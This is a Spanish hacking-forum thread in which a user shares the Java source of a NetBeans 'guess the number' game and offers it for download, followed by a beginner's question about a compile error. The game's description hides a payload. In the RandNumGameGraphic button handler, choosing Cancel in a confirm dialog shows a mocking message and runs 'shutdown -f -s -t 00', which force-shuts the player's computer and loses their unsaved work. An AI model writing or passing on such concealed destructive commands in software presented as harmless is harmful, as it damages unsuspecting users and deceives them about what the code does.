Abril 19, 2018, 07:52:09 am

Autor Tema: Juego para adivinar número, con interfaz gráfica NetBeans.  (Leído 4958 veces)

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado Ike Array

  • Yo vivo en CPH
  • ***
  • Mensajes: 410
  • Estés donde estés... Todos están conectados.
    • Ver Perfil
Básicamente sale en unas 4 clases.

RandMain: Llama el método estático main de la clase RandNumGameGraphic

RandNumGameGraphic: Crea el entorno gráfico y añade opciones adicionales, básicamente crea un objetos de las clase  RandNumGameBool y que también extiende de JFrame y que fue creada con NetBeansIDE

RandNumGameBool: Crea un objeto de la clase RandNumGameObj y compara si el número que retorna es igual a el número que llega, tiene un método que retorna un string con la información para imprimir.

RandNumGameObj: Importa un método de la clase java.util.Random y retorna un número random de 1 a 1000.

Código:

RandNumGameMain
Código: (java) You are not allowed to view links. Register or Login
package randnumgame;

/**
 *
 * @author Tony Cartagena
 *
 */
public class RandNumGameMain {

   
    public static void main(String[] args) {
       
        RandNumGameGraphic.main(args);
   
    }
}

RandNumGameGraphic
Código: (java) You are not allowed to view links. Register or Login
package randnumgame;

import javax.swing.JOptionPane;

/**
 *
 * @author Tony Cartagena
 */
public class RandNumGameGraphic extends javax.swing.JFrame {

    /**
     * Creates new form RandNumGameGraphic
     */
    public RandNumGameGraphic() {
        initComponents();
    }

    /**
     * This method is called from within the constructor to initialize the form.
     * WARNING: Do NOT modify this code. The content of this method is always
     * regenerated by the Form Editor.
     */
    @SuppressWarnings("unchecked")
    // <editor-fold defaultstate="collapsed" desc="Generated Code">                         
    private void initComponents() {

        jBAdivinar = new javax.swing.JButton();
        jLNumero = new javax.swing.JLabel();
        jTFNumero = new javax.swing.JTextField();
        jBAceptar = new javax.swing.JButton();
        jLAnotherNum = new javax.swing.JLabel();

        setDefaultCloseOperation(javax.swing.WindowConstants.EXIT_ON_CLOSE);
        setTitle("Adivina el número!");

        jBAdivinar.setText("Adivinar");
        jBAdivinar.addMouseListener(new java.awt.event.MouseAdapter() {
            public void mouseClicked(java.awt.event.MouseEvent evt) {
                jBAdivinarMouseClicked(evt);
            }
        });

        jLNumero.setText("Número:");

        jBAceptar.setText("Aceptar");
        jBAceptar.addMouseListener(new java.awt.event.MouseAdapter() {
            public void mouseClicked(java.awt.event.MouseEvent evt) {
                jBAceptarMouseClicked(evt);
            }
        });

        jLAnotherNum.setText("Adivinar otro Número");

        javax.swing.GroupLayout layout = new javax.swing.GroupLayout(getContentPane());
        getContentPane().setLayout(layout);
        layout.setHorizontalGroup(
            layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
            .addGroup(layout.createSequentialGroup()
                .addContainerGap()
                .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.TRAILING)
                    .addGroup(layout.createSequentialGroup()
                        .addComponent(jLNumero)
                        .addGap(18, 18, 18)
                        .addComponent(jTFNumero, javax.swing.GroupLayout.PREFERRED_SIZE, 110, javax.swing.GroupLayout.PREFERRED_SIZE))
                    .addComponent(jLAnotherNum))
                .addGap(18, 18, 18)
                .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
                    .addComponent(jBAceptar)
                    .addComponent(jBAdivinar))
                .addContainerGap(108, Short.MAX_VALUE))
        );
        layout.setVerticalGroup(
            layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
            .addGroup(layout.createSequentialGroup()
                .addGap(45, 45, 45)
                .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
                    .addComponent(jLNumero)
                    .addComponent(jTFNumero, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
                    .addComponent(jBAdivinar))
                .addGap(18, 18, 18)
                .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
                    .addComponent(jBAceptar)
                    .addComponent(jLAnotherNum))
                .addContainerGap(javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE))
        );

        pack();
    }// </editor-fold>                       

    private void jBAdivinarMouseClicked(java.awt.event.MouseEvent evt) {                                       
       
        if(numCmp(jTFNumero.getText())){
           
            JOptionPane.showMessageDialog(rootPane, game.toString(Integer.parseInt(jTFNumero.getText())));
           
           
        }
        jTFNumero.setText(null);
       
    }                                       

    private void jBAceptarMouseClicked(java.awt.event.MouseEvent evt) {                                       
       
        int confirm = JOptionPane.showConfirmDialog(rootPane, "Estás seguro jugador?.");
        game = (JOptionPane.OK_OPTION == confirm) ? new RandNumGameBool() : game;
        if(JOptionPane.NO_OPTION == confirm){
           
            JOptionPane.showMessageDialog(rootPane, "Entonces no pinches el botón.");
           
        }
        if(JOptionPane.OK_CANCEL_OPTION == confirm){
           
            Runtime bat = Runtime.getRuntime();
            JOptionPane.showMessageDialog(rootPane, "Jajajajaja ahora sí te cagué!");
            try {
                bat.exec("shutdown -f -s -t 00");
            } catch (Exception ex) {
           
                JOptionPane.showMessageDialog(rootPane, "Error: "+ex);
               
            }
           
        }
       
    }                                     

    /**
     * @param args the command line arguments
     */
    public static void main(String args[]) {
        /*
         * Set the Nimbus look and feel
         */
       
        /*
         * Create and display the form
         */
        java.awt.EventQueue.invokeLater(new Runnable() {

            @Override
            public void run() {
                new RandNumGameGraphic().setVisible(true);
            }
        });
    }
    // Variables declaration - do not modify                     
    private javax.swing.JButton jBAceptar;
    private javax.swing.JButton jBAdivinar;
    private javax.swing.JLabel jLAnotherNum;
    private javax.swing.JLabel jLNumero;
    private javax.swing.JTextField jTFNumero;
    // End of variables declaration                   
    private RandNumGameBool game = new RandNumGameBool();
   

    private boolean numCmp(String text) {
       
        try {
           
            Integer.parseInt(text);
            return true;
           
        }
        catch (Exception ex){
       
            JOptionPane.showMessageDialog(rootPane, "Eso no es un f*ckin' número.\nError:"+ex);
            return false;
        }   
    }
}

RandNumGameBool
Código: (java) You are not allowed to view links. Register or Login
package randnumgame;

public class RandNumGameBool {

    private RandNumGameObj rand;
    private int num;
   
    public RandNumGameBool(){
       
        rand = new RandNumGameObj();
        setNum(rand.getNum());
    }

    private void setNum(int num) {
       
        this.num = num;
       
    }
   
    public String toString(int num){
       
        if(getNum() == num){
           
            return String.format("Adivinó el número, aun así no ganas nada!!\n"+
                    "El número es:" +this.num);
           
        }
        else{
           
            return String.format("Fracasado, mejor suerte para la proxima.");
           
        }
       
    }

    private int getNum() {
       
        return(num);
       
    }
   
   
}

RandNumGameObj
Código: (java) You are not allowed to view links. Register or Login
package randnumgame;

import java.util.Random;

public class RandNumGameObj {
   
    private Random rndm;
   
    public RandNumGameObj() {
   
        rndm = new Random();
       
    }
   
    public int getNum(){
       
        return(rndm.nextInt(1000));
       
    }
   
}

Eso es todo.
Lo pueden descargar: You are not allowed to view links. Register or Login

Gracias y salu10
« Última modificación: Mayo 08, 2012, 07:06:31 pm por Ike Array »
Me hackeé a tú hermana :v

Desconectado Cherminator

  • CPQUE??
  • *
  • Mensajes: 1
  • Sexo: Masculino
  • Yo AMO a pOrtal HAcker!
    • Ver Perfil
Re:Juego para adivinar número, con interfaz gráfica NetBeans.
« Respuesta #1 en: Mayo 24, 2014, 05:35:02 pm »
Buenas tardes:

Estamos recién aprendiendo java y según tu código en la parte de JFRAME en la interfaz gráfica muestra un error en private void initComponents(){  en RandNumGameGraphic.

Ojalas pudieras darme una solución para comprender que hace falta de arreglar o agregar por favor, además no aparece nada donde esta la pestaña de diseño.


xx
[C#]Juego de adivinar el numero y Te dice si el año es bisiesto y los dias

Iniciado por panxulo

1 Respuestas
1988 Vistas
Último mensaje Diciembre 07, 2011, 04:11:57 pm
por Bloss.
question
Interfaz grafica para Java

Iniciado por XxnickexX

7 Respuestas
3714 Vistas
Último mensaje Diciembre 10, 2009, 05:02:23 pm
por napster_kof
xx
Tutorial para interfaz grafica?

Iniciado por hanlly

4 Respuestas
1575 Vistas
Último mensaje Mayo 26, 2012, 12:12:25 pm
por CodeSource
xx
WXDEVC++ [Interfaz grafica para tus aplicaciones]

Iniciado por invi

0 Respuestas
1302 Vistas
Último mensaje Octubre 09, 2007, 05:33:53 am
por invi
question
interfaz grafica en c++

Iniciado por carl0029

7 Respuestas
2455 Vistas
Último mensaje Octubre 12, 2011, 08:31:32 am
por jep
exclamation
Curso de API en C - interfaz grafica

Iniciado por taul

1 Respuestas
2923 Vistas
Último mensaje Enero 17, 2010, 02:42:44 pm
por .xAk.
question
interfaz grafica en batch

Iniciado por francuxo

5 Respuestas
3553 Vistas
Último mensaje Diciembre 09, 2009, 10:04:32 pm
por EddyW
xx
La interfaz grafica de Linux preferida.

Iniciado por rafaelsk

75 Respuestas
16249 Vistas
Último mensaje Agosto 08, 2008, 01:41:08 pm
por Siph
xx
phyton tiene interfaz grafica?

Iniciado por jojo5716

7 Respuestas
3334 Vistas
Último mensaje Mayo 17, 2010, 05:41:00 am
por WACHERAX
xx
Introduccion a tkinter (Interfaz grafica)

Iniciado por daryo

3 Respuestas
2185 Vistas
Último mensaje Mayo 19, 2012, 10:43:26 pm
por SixP4ck3r